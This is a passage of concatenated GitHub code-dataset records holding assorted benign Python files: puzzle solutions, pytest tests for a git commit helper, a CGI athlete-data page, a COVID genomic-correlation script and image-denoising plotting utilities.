'cordOval[2] = ', cordOval[2], 'cordOval[3] = ', cordOval[3])\n A = False\n\n # updating the canvas\n tk.update()\n updateTime()\n time.sleep(0.01)\n\n\nmoveBall()\ntk.mainloop()\n","repo_name":"IsmailMAJBAR/AvoidGame","sub_path":"avoidGame.py","file_name":"avoidGame.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11916049782","text":"import os\nimport subprocess\n\nimport pytest\n\nfrom click_odoo_contrib.gitutils import commit_if_needed\n\n\n@pytest.fixture\ndef gitdir(tmpdir):\n subprocess.check_call([\"git\", \"init\"], cwd=str(tmpdir))\n subprocess.check_call([\"git\", \"config\", \"user.name\", \"tester\"], cwd=str(tmpdir))\n subprocess.check_call(\n [\"git\", \"config\", \"user.email\", \"tester@example.com\"], cwd=str(tmpdir)\n )\n yield tmpdir\n\n\ndef _git_ls_files(cwd):\n output = subprocess.check_output(\n [\"git\", \"ls-files\"], cwd=str(cwd), universal_newlines=True\n )\n return output.strip().split(\"\\n\")\n\n\ndef _git_staged_files(cwd):\n output = subprocess.check_output(\n [\"git\", \"diff\", \"--cached\", \"--name-only\"],\n cwd=str(cwd),\n universal_newlines=True,\n )\n return output.strip().split(\"\\n\")\n\n\ndef _git_add(paths, cwd):\n cmd = [\"git\", \"add\", \"--\"] + paths\n subprocess.check_call(cmd, cwd=str(cwd))\n\n\ndef test_git_commit_if_needed(gitdir):\n assert \"file1\" not in _git_ls_files(gitdir)\n file1 = gitdir / \"file1\"\n file1.ensure(file=True)\n assert commit_if_needed([str(file1)], \"msg\", cwd=str(gitdir))\n assert \"file1\" in _git_ls_files(gitdir)\n # no change, commit_if_needed returns False\n assert not commit_if_needed([str(file1)], \"msg\", cwd=str(gitdir))\n # some change\n file1.write(\"stuff\")\n assert commit_if_needed([str(file1)], \"msg\", cwd=str(gitdir))\n # some unrelated file not in git\n file2 = gitdir / \"file2\"\n file2.ensure(file=True)\n assert not commit_if_needed([str(file1)], \"msg\", cwd=str(gitdir))\n assert \"file2\" not in _git_ls_files(gitdir)\n # some unrelated file in git index\n _git_add([str(file2)], gitdir)\n assert not commit_if_needed([str(file1)], \"msg\", cwd=str(gitdir))\n assert \"file1\" not in _git_staged_files(gitdir)\n assert \"file2\" in _git_staged_files(gitdir)\n # add subdirectory\n dir1 = gitdir / \"dir1\"\n dir1.ensure(dir=True)\n file3 = dir1 / \"file3\"\n file3.ensure(file=True)\n assert commit_if_needed([str(file3)], \"msg\", cwd=str(gitdir))\n assert \"dir1/file3\" in _git_ls_files(gitdir)\n\n\ndef test_commit_git_ignored(gitdir):\n file1 = gitdir / \"file1.pot\"\n file1.ensure(file=True)\n gitignore = gitdir / \".gitignore\"\n gitignore.write(\"*.pot\\n\")\n assert commit_if_needed([str(file1)], \"msg\", cwd=str(gitdir))\n assert \"file1.pot\" in _git_ls_files(gitdir)\n\n\ndef test_commit_reldir(gitdir):\n with gitdir.as_cwd():\n os.mkdir(\"subdir\")\n file1 = \"subdir/file1\"\n with open(file1, \"w\"):\n pass\n assert commit_if_needed([file1], \"msg\", cwd=\"subdir\")\n","repo_name":"acsone/click-odoo-contrib","sub_path":"tests/test_gitutils.py","file_name":"test_gitutils.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"31"} +{"seq_id":"36278107406","text":"#!/usr/bin/env python3\n#\n# WIP: copy this file in wrapping/src directory of the build tree\n# then execute it (python3 ./wrapping/src/test_make_geometry\n# path_to_data_directory)\n\nimport os.path as op\nimport numpy as np\nfrom optparse import OptionParser\n\nimport openmeeg as om\n\n\ndef python_mesh(name, path):\n mesh = om.Mesh(path)\n mesh_vertices = mesh.geometry().vertices()\n vertices = np.array([vertex.array() for vertex in mesh_vertices])\n mesh_triangles = mesh.triangles()\n triangles = np.array([mesh.triangle(triangle).array() for triangle in mesh_triangles])\n return vertices, triangles\n\ndata_path = op.dirname(op.abspath(__file__))\nparser = OptionParser()\nparser.add_option(\"-p\", \"--path\", dest=\"data_path\",\n help=\"path to data folder\", metavar=\"FILE\",\n default=data_path)\n\noptions, args = parser.parse_args()\ndata_path = options.data_path\n\n# Load mesh data to mimic Head1.geom + Head1.cond\n\nsubject = \"Head1\"\ndirpath = op.join(data_path, subject)\n\nmeshes = dict()\nmeshes[\"cortex\"] = python_mesh(\"cortex\", op.join(dirpath, \"cortex.1.tri\"))\nmeshes[\"skull\"] = python_mesh(\"skull\", op.join(dirpath, \"skull.1.tri\"))\nmeshes[\"scalp\"] = python_mesh(\"scalp\", op.join(dirpath, \"scalp.1.tri\"))\n\n# It should be possible to have multiple oriented meshes per interface. e.g.\n# interface1 = [(m1,om.OrientedMesh.Normal), (m2,om.OrientedMesh.Opposite), (m3,om.OrientedMesh.Normal)]\n# It should also be possible to have a name added at the beginning of the\n# tuple.\n\ninterfaces = {\n \"interface1\": [('cortex', om.OrientedMesh.Normal)],\n \"interface2\": [('skull', om.OrientedMesh.Normal)],\n \"interface3\": [('scalp', om.OrientedMesh.Normal)]\n}\n\ndomains = {\n \"Scalp\": ([('interface2', om.SimpleDomain.Outside), ('interface3', om.SimpleDomain.Inside)], 1.0),\n \"Brain\": ([('interface1', om.SimpleDomain.Inside)], 1.0),\n \"Air\": ([('interface3', om.SimpleDomain.Outside)], 0.0),\n \"Skull\": ([('interface2', om.SimpleDomain.Inside), ('interface1', om.SimpleDomain.Outside)], 0.0125)\n}\n\ng1 = om.make_geometry(meshes, interfaces, domains)\ng2 = om.Geometry(op.join(dirpath, subject + \".geom\"), op.join(dirpath, subject + \".cond\"))\n\nassert g1.is_nested()\nassert g2.is_nested()\nassert g1.__class__ == g2.__class__\n","repo_name":"packeted/openmeeg","sub_path":"wrapping/src/test_make_geometry.py","file_name":"test_make_geometry.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"26223818062","text":"class Solution:\n def leastBricks(self, wall: List[List[int]]) -> int:\n count = {}\n max_hole = 0\n for line in wall:\n brick = 0\n sum_all = sum(line)\n for i in line:\n brick += i\n if brick < sum_all:\n count[brick] = count.get(brick, 0) + 1\n max_hole = max(max_hole, count[brick])\n return len(wall) - max_hole","repo_name":"ljyou001/Leetcode-Problems-in-Python","sub_path":"554-brick-wall.py","file_name":"554-brick-wall.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33955440190","text":"n = int(input())\na = list(map(int, input().strip().split()))\nmax_sums = set()\nfor i in range(n):\n max_sum = float('-inf')\n total = 0\n for j in range(i, n):\n total += a[j]\n max_sum = max(max_sum, total)\n total = max(total, 0)\n if max_sum not in max_sums:\n max_sums.add(max_sum)\nprint(sum(max_sums))\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerearth/Data Structures/Hash Tables/Basics of Hash Tables/Maximum Sum/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"19988032308","text":"# liste_1 contient tous les noms des départements\nliste_1 = [nom for nom in departements]\n\n# liste_2 contient toutes les surfaces des départements\nliste_2 = [departements[nom] for nom in departements]\n\n# liste_3 contient les noms des départements \n# strictement mesurant moins de 1000 km²\nliste_3 = [nom for nom in departements if departements[nom] < 1000]\n\n# liste_4 contient les surfaces des départements\n# dont le nom contient la chaîne \"Seine\"\nliste_4 = [departements[nom] for nom in departements if \"Seine\" in nom]\n\n# liste_5 contient les noms des départements\n# dont le nom débute par un \"S\"\n# et la surface est comprise entre 5 000 et 7 000 km²\nliste_5 = [departements[nom] for nom in departements if nom[0] == \"S\" and 5000 <= departements[nom] <= 7000]","repo_name":"Lycee-Experimental/nsi-lxp","sub_path":"docs/premiere/data/1_tables/1_depart/pythons/departements/exo_corr.py","file_name":"exo_corr.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34361124466","text":"import athletemodel\nimport yate\nimport cgi\n\n# 以下两行启用Python的CGI跟踪技术\nimport cgitb \ncgitb.enable()\n\n# 获取所有表单数据,并放在一个字典中\nform_data = cgi.FieldStorage()\n\nathlete_name = form_data['which_athlete'].value\n\nathlete = athletemodel.get_athlete_from_id(athlete_name)\n\nprint(yate.start_response())\nprint(yate.include_header(\"NUAC's Timing Data\"))\nprint(yate.header('Athlete: ' + athlete['Name'] +\n ' DOB: ' + athlete['DOB'] + '.'))\nprint(yate.para('The top times for this athlete are:'))\nprint(yate.u_list(athlete['top3']))\nprint(yate.para('The entire set of timing data is: ' + str(athlete['data']) \\\n + '(duplicates removed).'))\nprint(yate.include_footer({'Home':'/index.html',\\\n 'Selecte another athlete':'generate_list.py', \\\n 'Add time data':'test_form.py'}))\n","repo_name":"MingoSue/webapp_athlete","sub_path":"cgi-bin/generate_timing_data.py","file_name":"generate_timing_data.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40912689488","text":"# -- Peace of cake -- #\r\ndef get_recipe_price(prices, optionals=None, **ingredients):\r\n \"\"\"\r\n :param prices: A dictionary of ingredients needed to make a certain recipe.\r\n :param optionals: A list of components that we will ignore, meaning - we will not buy from them at all.\r\n :param ingredients: The name of the ingredient and the amount of the ingredient in grams that we would like to buy\r\n for the recipe.\r\n :return: Return the final price for buying all ingredients\r\n \"\"\"\r\n final_price = 0\r\n for product, amount in ingredients.items():\r\n if not optionals or product not in optionals:\r\n product_price = prices.get(product)\r\n total_product_price = product_price * (amount / 100)\r\n final_price += total_product_price\r\n return int(final_price)\r\n\r\n\r\nif __name__ == '__main__':\r\n # -- Peace of cake -- #\r\n print(get_recipe_price({'chocolate': 18, 'milk': 8}, chocolate=200, milk=100))\r\n print(get_recipe_price({'chocolate': 18, 'milk': 8}, optionals=['milk'], chocolate=300))\r\n print(get_recipe_price({}))\r\n","repo_name":"Lev-Excellenteam-2023/exercise1-yammesika-week-5-odelya1999","sub_path":"5.2.Peace_of_cake.py","file_name":"5.2.Peace_of_cake.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3356485920","text":"N = input()\nnums = [1 for i in range(10)]\ncnt = 1\nfor i in N:\n if i == '9' and not nums[9] and nums[6]:\n i = 6\n elif i == '6' and not nums[6] and nums[9]:\n i = 9 \n i = int(i)\n if nums[i]:\n nums[i] -= 1\n else:\n cnt += 1\n nums[i] -= 1\n for n in range(10):\n nums[n] += 1\nprint(cnt)\n","repo_name":"SSAFY-algamza/ssafy-algorithm-study","sub_path":"f1rstf1y9/BOJ/BOJ_1475_방 번호.py","file_name":"BOJ_1475_방 번호.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29057453306","text":"#!/usr/bin/env python3\nimport os\n\n\"\"\"\nThe height of a binary tree is the number of edges between the tree's root and its furthest leaf.\nFor example, the following binary tree is of height 2:\n\n 4\n / \\\n / \\\n 2 6\n / \\ / \\\n 1 3 5 7\n \nFunction Description\n\nComplete the getHeight or height function in the editor. It must return the height of a binary tree as an integer.\n\ngetHeight or height has the following parameter(s):\n\nroot: a reference to the root of a binary tree.\n\nNote -The Height of binary tree with single node is taken as zero.\n\nInput Format\n\nThe first line contains an integer n, the number of nodes in the tree.\nNext line contains n space separated integer where i-th integer denotes node[i].data.\n\nNote: Node values are inserted into a binary search tree before a reference to the tree's root\nnode is passed to your function. In a binary search tree, all nodes on the left branch of a node \nare less than the node value. All values on the right branch are greater than the node value.\n\nConstraints\n\n1 <= node.data[i] <= 20\n1 <= n <= 20\n\nOutput Format\n\nYour function should return a single integer denoting the height of the binary tree.\n\nSample Input\n\n 3\n / \\\n / \\\n 2 5\n / / \\\n 1 4 6\n \\\n 7\n\nSample Output\n\n3\n\nExplanation\n\nThe longest root-to-leaf path is shown below:\n\n 3\n / \\ <--\n / \\ <--\n 2 5 <--\n / / \\ <--\n 1 4 6 <--\n \\ <--\n 7 <--\n\nThere are 4 nodes in this path that are connected by 3 edges, meaning our binary \ntree's height = 3.\n\"\"\"\n\n\nclass Node:\n def __init__(self, info):\n self.info = info\n self.left = None\n self.right = None\n\n def __str__(self):\n return str(self.info)\n\n\nclass BinarySearchTree:\n def __init__(self):\n self.root = None\n\n def create(self, val):\n if self.root is None:\n self.root = Node(val)\n else:\n current = self.root\n\n while True:\n if val < current.info:\n if current.left:\n current = current.left\n else:\n current.left = Node(val)\n break\n elif val > current.info:\n if current.right:\n current = current.right\n else:\n current.right = Node(val)\n break\n else:\n break\n\n\ndef height(root):\n def __height__(current_node, current_height):\n if current_node is None:\n return current_height\n left_height = __height__(current_node.left, current_height + 1)\n right_height = __height__(current_node.right, current_height + 1)\n return max(left_height, right_height)\n return __height__(root,-1)\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n expected_output = os.environ['OUTPUT_PATH'].replace('output', 'expected_output')\n\n tree = BinarySearchTree()\n\n t = int(input())\n\n arr = list(map(int, input().split()))\n\n for i in range(t):\n tree.create(arr[i])\n\n results = height(tree.root)\n\n fptr.write(str(results))\n fptr.write('\\n')\n\n fptr.close()\n expected_results = open(expected_output, 'r').read().rstrip()\n # print(\" Output: >>%s<< %s\" % (str(results), type(results)))\n # print(\"Expected output: >>%s<< %s\" % (str(expected_results), type(expected_results)))\n\n assert str(results) == str(expected_results)\n print(\"Tests passed for: %s\" % os.environ['OUTPUT_PATH'])\n","repo_name":"rjmarshall17/trees","sub_path":"hacker_rank_height_of_a_binary_tree.py","file_name":"hacker_rank_height_of_a_binary_tree.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38666921391","text":"def change2(n):\n a = n\n b = []\n\n while True:\n b.append(a%3)\n a = a//3\n if a == 0:\n break\n b.reverse()\n return b\n\ndef solution(n):\n answer = ''\n b = change2(n)\n\n while 0 in b:\n print(b)\n index0 = b.index(0)\n if index0 == 0:\n b.remove(0)\n continue\n b[index0] = 4\n if b[index0 - 1] == 4:\n b[index0 -1] = 2\n else:\n b[index0 -1] -= 1\n\n\n for i in b:\n answer += str(i)\n return answer\n\n","repo_name":"joy961208/Programmers-Coding-Test","sub_path":"Level 2/124나라의숫자.py","file_name":"124나라의숫자.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"20357245481","text":"import pandas as pd\nimport scipy\nimport matplotlib.pyplot as plt\nimport seaborn as sb\n\n\nseqtocountry_dict = {}\nseqtotemp_dict = {}\n\nseqtogenchange_dict = {}\nseqtopp1a_change_dict = {}\nseqtonsp2_change_dict = {}\nseqtorbd_change_dict = {}\nseqtospikes1_change_dict = {}\nseqtospikes2_change_dict = {}\n\nseqtogenchange_normalized_dict = {}\nseqtopp1a_change_normalized_dict = {}\nseqtonsp2_change_normalized_dict = {}\nseqtorbd_change_normalized_dict = {}\nseqtospikes1_change_normalized_dict = {}\nseqtospikes2_change_normalized_dict = {}\n\nseqtodate_dict = {}\nseqtorelativedate_dict = {}\ncountrytoseq_dict = {}\n\ncountrytolat_dict = {\"Australia\": -25.274398, \"Brazil\": -14.235004, \"Colombia\": 4.570868, \"China\": 35.86166, \"Finland\": 61.92411, \"India\": 20.593684, \"Italy\": 41.87194, \"Japan\": 36.204824,\n\"Nepal\": 28.39486, \"Pakistan\": 30.375321, \"Peru\": -9.189967, \"South Korea\": -1.940278, \"Spain\": 40.463667, \"Sweden\": 60.128161, \"Taiwan\": 23.69781, \"USA\": 37.09024, \"Vietnam\": 14.058324}\ncountrytolong_dict = {\"Australia\": 133.775136, \"Brazil\": -51.92528, \"Colombia\": -74.297333, \"China\": 104.195397, \"Finland\": 25.748151, \"India\": 78.96288, \"Italy\": 12.56738, \"Japan\": 138.252924,\n\"Nepal\": 84.124008, \"Pakistan\": 69.345116, \"Peru\": -75.015152, \"South Korea\": 29.873888, \"Spain\": -3.74922, \"Sweden\": 18.643501, \"Taiwan\": 120.960515, \"USA\": -95.712891, \"Vietnam\": 108.277199}\ncountrytotemp_dict = {\"Australia\": 69.8, \"Brazil\": 76.7, \"Colombia\": 65, \"China\": 57.3, \"Finland\": 39.5, \"India\": 96.8, \"Italy\": 54.5, \"Japan\": 58.1,\n\"Nepal\": 70, \"Pakistan\": 74.3, \"Peru\": 69.1, \"South Korea\": 62.6, \"Spain\": 66.2, \"Sweden\": 41.9, \"Taiwan\": 72.3, \"USA\": 52.9, \"Vietnam\": 94}\n\nwith open(\"/Users/prakruthiburra/Desktop/CPSC_567/CPSC567_COVID/dataset/meta_info_with_genetic_changes_no_isolation_source.csv\", \"r\") as f:\n\n#Skip index\n next(f)\n lines = f.readlines()\n for line in lines:\n line = line.strip().split(\",\")\n print(line)\n seq_id = line[0]\n\n# 364 sequences were isolated of which two sequences did not contain a country label and were excluded from the analysis.\n#Excluding sequences without a country label\n if(line[3] != \"NA\"):\n seqtocountry_dict[seq_id] = (line[3])\n\n seqtodate_dict[seq_id] = (line[4].strip())\n date = seqtodate_dict[seq_id].strip().split(\"-\")\n year = date[0]\n month = date[1]\n if(len(date)==3):\n day = date[2]\n else:\n day = 15\n\n if(year == '2019'):\n seqtorelativedate_dict[line[0]] = int(day) - 15\n elif(month == '01'):\n seqtorelativedate_dict[line[0]] = 16 + int(day)\n elif(month == '02'):\n seqtorelativedate_dict[line[0]] = 47 + int(day)\n elif(month == '03'):\n seqtorelativedate_dict[line[0]] = 76 + int(day)\n\n seqtogenchange_dict[seq_id] = int(line[6])\n seqtopp1a_change_dict[seq_id] = int(line[7])\n seqtonsp2_change_dict[seq_id] = int(line[8])\n seqtorbd_change_dict[seq_id] = int(line[9])\n seqtospikes1_change_dict[seq_id] = int(line[10])\n seqtospikes2_change_dict[seq_id] = int(line[11])\n\n if(seqtorelativedate_dict[seq_id] != 0):\n seqtogenchange_normalized_dict[seq_id] = float(seqtogenchange_dict[seq_id])/float(seqtorelativedate_dict[seq_id])\n seqtopp1a_change_normalized_dict[seq_id] = float(seqtopp1a_change_dict[seq_id])/float(seqtorelativedate_dict[seq_id])\n seqtonsp2_change_normalized_dict[seq_id] = float(seqtonsp2_change_dict[seq_id])/float(seqtorelativedate_dict[seq_id])\n seqtorbd_change_normalized_dict[seq_id] = float(seqtorbd_change_dict[seq_id])/float(seqtorelativedate_dict[seq_id])\n seqtospikes1_change_normalized_dict[seq_id] = float(seqtospikes1_change_dict[seq_id])/float(seqtorelativedate_dict[seq_id])\n seqtospikes2_change_normalized_dict[seq_id] = float(seqtospikes2_change_dict[seq_id])/float(seqtorelativedate_dict[seq_id])\n else:\n seqtogenchange_normalized_dict[seq_id] = 'NA'\n seqtopp1a_change_normalized_dict[seq_id] = 'NA'\n seqtonsp2_change_normalized_dict[seq_id] = 'NA'\n seqtorbd_change_normalized_dict[seq_id] = 'NA'\n seqtospikes1_change_normalized_dict[seq_id] = 'NA'\n seqtospikes2_change_normalized_dict[seq_id] = 'NA'\n\n# g = open(\"/Users/prakruthiburra/Desktop/CPSC_567/all_meta_data.csv\", \"w+\")\n# g.write(\"Accession,Geo Location,Collection Date,Relative Date,Temperature,Latitude,Longitude,gc,pp1a,nsp2,rbd,spike_s1,spike_s2,gc_normalized,pp1a_n,nsp2_n,rbd_n,spike_s1_n,spike_s2_n\\n\")\n#\n# for i in seqtocountry_dict.keys():\n# country = seqtocountry_dict[i]\n# g.write(i+\",\"+str(country)+\",\"+str(seqtodate_dict[i])+\",\"+str(seqtorelativedate_dict[i])+\",\"+\n# str(countrytotemp_dict[country])+\",\"+str(countrytolat_dict[country])+\",\"+str(countrytolong_dict[country])+\",\"+\n# str(seqtogenchange_dict[i])+\",\"+str(seqtopp1a_change_dict[i])+\",\"+str(seqtonsp2_change_dict[i])+\",\"+str(seqtorbd_change_dict[i])+\",\"+\n# str(seqtospikes1_change_dict[i])+\",\"+str(seqtospikes2_change_dict[i])+\",\"+\n# str(seqtogenchange_normalized_dict[i])+\",\"+str(seqtopp1a_change_normalized_dict[i])+\",\"+str(seqtonsp2_change_normalized_dict[i])+\",\"+str(seqtorbd_change_normalized_dict[i])+\",\"+\n# str(seqtospikes1_change_normalized_dict[i])+\",\"+str(seqtospikes2_change_normalized_dict[i])+\"\\n\")\n# Removed from correlations: NC_045512, MN908947 for they had relative date set to 0 and the sequences either corresponded to the reference or were identical to it.\n\ndata = pd.read_csv(\"/Users/prakruthiburra/Desktop/CPSC_567/all_meta_data.csv\")\nprint(data.head())\nTemperature = data['Temperature'].to_numpy()\nLatitude = data['Latitude'].to_numpy()\nLongitude = data['Longitude'].to_numpy()\ngc = data['gc'].to_numpy()\npp1a = data['pp1a'].to_numpy()\nnsp2 = data['nsp2'].to_numpy()\nrbd = data['rbd'].to_numpy()\nspike_s1 = data['spike_s1'].to_numpy()\nspike_s2 = data['spike_s2'].to_numpy()\ngc_n = data['gc_normalized'].to_numpy()\npp1a_n = data['pp1a_n'].to_numpy()\nnsp2_n = data['nsp2_n'].to_numpy()\nrbd_n = data['rbd_n'].to_numpy()\nspike_s1_n = data['spike_s1_n'].to_numpy()\nspike_s2_n = data['spike_s2_n'].to_numpy()\n\nfrom scipy.stats import pearsonr\npearsonr(Temperature, gc)\npearsoncorr = data.corr(method='pearson')\npearsoncorr = pearsoncorr[['Temperature', 'Latitude', 'Longitude']]\npearsoncorr = pearsoncorr.drop(['Temperature', 'Latitude', 'Longitude', 'Relative Date'])\nprint(pearsoncorr)\nsb.heatmap(pearsoncorr,\n xticklabels=pearsoncorr.columns,\n yticklabels=['Genomic Change', 'pp1a Change', 'nsp2a Change', 'RBD Change',\n 'Spike_s1 Change', 'Spike_s2 Change', 'Norm. Genomic Change', 'Norm. pp1a Change', 'Norm. nsp2 Change', 'Norm. RBD Change', 'Norm. Spike_s1 Change', 'Norm. Spike_s2 Change'],\n cmap='YlGnBu',\n annot=True,\n linewidth=0.5)\nplt.show()\n\nprint(\"TEMPERATURE\")\nprint(scipy.stats.pearsonr(gc, Temperature))\nprint(scipy.stats.pearsonr(pp1a, Temperature))\nprint(scipy.stats.pearsonr(nsp2, Temperature))\nprint(scipy.stats.pearsonr(rbd, Temperature))\nprint(scipy.stats.pearsonr(spike_s1, Temperature))\nprint(scipy.stats.pearsonr(spike_s2, Temperature))\nprint(scipy.stats.pearsonr(gc_n, Temperature))\nprint(scipy.stats.pearsonr(pp1a_n, Temperature))\nprint(scipy.stats.pearsonr(nsp2_n, Temperature))\nprint(scipy.stats.pearsonr(rbd_n, Temperature))\nprint(scipy.stats.pearsonr(spike_s1_n, Temperature))\nprint(scipy.stats.pearsonr(spike_s2_n, Temperature))\nprint(\"\\n\")\nprint(\"LATITUDE\")\nprint(scipy.stats.pearsonr(gc, Latitude))\nprint(scipy.stats.pearsonr(pp1a, Latitude))\nprint(scipy.stats.pearsonr(nsp2, Latitude))\nprint(scipy.stats.pearsonr(rbd, Latitude))\nprint(scipy.stats.pearsonr(spike_s1, Latitude))\nprint(scipy.stats.pearsonr(spike_s2, Latitude))\nprint(scipy.stats.pearsonr(gc_n, Latitude))\nprint(scipy.stats.pearsonr(pp1a_n, Latitude))\nprint(scipy.stats.pearsonr(nsp2_n, Latitude))\nprint(scipy.stats.pearsonr(rbd_n, Latitude))\nprint(scipy.stats.pearsonr(spike_s1_n, Latitude))\nprint(scipy.stats.pearsonr(spike_s2_n, Latitude))\nprint(\"\\n\")\nprint(\"LONGITUDE\")\nprint(scipy.stats.pearsonr(gc, Longitude))\nprint(scipy.stats.pearsonr(pp1a, Longitude))\nprint(scipy.stats.pearsonr(nsp2, Longitude))\nprint(scipy.stats.pearsonr(rbd, Longitude))\nprint(scipy.stats.pearsonr(spike_s1, Longitude))\nprint(scipy.stats.pearsonr(spike_s2, Longitude))\nprint(scipy.stats.pearsonr(gc_n, Longitude))\nprint(scipy.stats.pearsonr(pp1a_n, Longitude))\nprint(scipy.stats.pearsonr(nsp2_n, Longitude))\nprint(scipy.stats.pearsonr(rbd_n, Longitude))\nprint(scipy.stats.pearsonr(spike_s1_n, Longitude))\nprint(scipy.stats.pearsonr(spike_s2_n, Longitude))\nprint(\"\\n\")\n","repo_name":"ShawnCone/CPSC567_COVID","sub_path":"scripts/correlations.py","file_name":"correlations.py","file_ext":"py","file_size_in_byte":8871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17183244457","text":"from skimage.metrics import structural_similarity, peak_signal_noise_ratio\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef plot_dataset(batch_speckle, batch_clean):\n n = batch_speckle.shape[0]\n\n for i in range(n):\n fig, axes = plt.subplots(\n nrows = 2,\n ncols = 2, \n figsize = (8, 8))\n\n axes[0,0].imshow(batch_speckle[i,...,0], cmap='gray')\n axes[0,0].set_title('Input with speckle')\n axes[0,1].imshow(batch_clean[i,...,0], cmap='gray')\n axes[0,1].set_title('Ground truth')\n\n axes[1,0].hist(batch_speckle[i,...,0].flatten(), bins=100, histtype='step')\n axes[1,0].set_title('Input with speckle')\n axes[1,1].hist(batch_clean[i,...,0].flatten(), bins=100, histtype='step')\n axes[1,1].set_title('Ground truth')\n\n plt.show()\n plt.close()\n\ndef plot_history(history):\n fig, ax = plt.subplots(\n nrows = 2,\n ncols = 1, \n figsize = (15,10))\n\n ax[0].plot(history.history['loss'], '-*', label='Training Loss')\n ax[0].plot(history.history['val_loss'], '-o', label='Validation Loss')\n ax[0].set_xlabel('Epochs')\n ax[0].set_ylabel('MAE')\n ax[0].set_title('Training VS Validation MAE')\n\n ax[1].plot(history.history['mse'], '-*', label='Training Loss')\n ax[1].plot(history.history['val_mse'], '-o', label='Validation Loss')\n ax[1].set_xlabel('Epochs')\n ax[1].set_ylabel('MSE')\n ax[1].set_title('Training VS Validation MSE')\n \n ax[0].legend()\n ax[0].grid()\n ax[1].legend()\n ax[1].grid()\n plt.show()\n\ndef plot_model_results(batch_speckle, batch_clean, batch_pred, n=False):\n n = batch_speckle.shape[0]\n\n for i in range(n):\n print('===========================================================================================================================================')\n print(' TEST %d ' % (i))\n fig, axes = plt.subplots(\n nrows = 2,\n ncols = 4, \n figsize = (16, 8))\n\n axes[0,0].imshow(batch_speckle[i,...,0], cmap='gray')\n axes[0,0].set_title('Input with speckle')\n axes[0,1].imshow(batch_clean[i,...,0], cmap='gray')#, vmin=0, vmax=1.0)\n axes[0,1].set_title('Ground truth')\n if n==True:\n axes[0,2].imshow(batch_pred[i,...,0], cmap='gray')\n else:\n axes[0,2].imshow(batch_pred[i,...,0], cmap='gray', vmin = np.min(batch_pred[i,...,0]), vmax =np.max(batch_pred[i,...,0]))#, vmin=0, vmax=1.0)\n axes[0,2].set_title('Model Prediction')\n diff = np.abs(batch_pred[i,...,0] - batch_clean[i,...,0])\n axes[0,3].imshow(diff, vmin=np.min(diff), vmax=np.max(diff), cmap='gray')\n axes[0,3].set_title('|Model Prediction - Ground Truth|')\n\n axes[1,0].hist(batch_speckle[i,...,0].flatten(), bins=100, histtype='step')\n axes[1,0].set_title('Input with speckle')\n axes[1,1].hist(batch_clean[i,...,0].flatten(), bins=100, histtype='step')\n axes[1,1].set_title('Ground truth')\n axes[1,2].hist(batch_pred[i,...,0].flatten(), bins=100, histtype='step')\n axes[1,2].set_title('Model Prediction')\n axes[1,3].hist(diff.flatten(), bins=100, histtype='step')\n axes[1,3].set_title('|Model Prediction - Ground Truth|')\n \n plt.show()\n plt.close()\n\ndef compute_metrics(batch_speckle, batch_clean, batch_pred):\n n = batch_speckle.shape[0]\n \n print('===========================================================================================================================================')\n print(' Test \\t\\t Metric\\t\\tGrount Truth VS Grount Truth \\t\\t Grount Truth VS Input \\t\\t Grount Truth VS Model Prediction')\n print('-------------------------------------------------------------------------------------------------------------------------------------------')\n for i in range(n):\n gt_vs_gt = peak_signal_noise_ratio(batch_clean[i, ...,0], batch_clean[i, ...,0], data_range=1.0)\n gt_vs_in = peak_signal_noise_ratio(batch_clean[i, ...,0], batch_speckle[i,...,0], data_range=1.0)\n gt_vs_pred = peak_signal_noise_ratio(batch_clean[i, ...,0], batch_pred[i,...,0], data_range=1.0)\n\n print(' %i \\t\\t PSNR \\t\\t %.2f \\t\\t %.2f \\t\\t %.2f' % (i, gt_vs_gt, gt_vs_in, gt_vs_pred))\n \n gt_vs_gt = structural_similarity(batch_clean[i, ...,0], batch_clean[i, ...,0], data_range=1.0)\n gt_vs_in = structural_similarity(batch_clean[i, ...,0], batch_speckle[i,...,0], data_range=1.0)\n gt_vs_pred = structural_similarity(batch_clean[i, ...,0], batch_pred[i,...,0], data_range=1.0)\n print(' %i \\t\\t SSIM \\t\\t %.2f \\t\\t %.2f \\t\\t %.2f' % (i, gt_vs_gt, gt_vs_in, gt_vs_pred))\n \n enl_gt = (np.mean(batch_clean[i, ...,0])**2)/(np.std(batch_clean[i, ...,0])**2)\n enl_in = (np.mean(batch_speckle[i,...,0])**2)/(np.std(batch_speckle[i,...,0])**2)\n enl_pre = (np.mean(batch_pred[i,...,0])**2)/(np.std(batch_pred[i,...,0])**2)\n \n print(' %i \\t\\t ENL \\t\\t %.2f \\t\\t %.2f \\t\\t %.2f' % (i, enl_gt, enl_in, enl_pre))\n 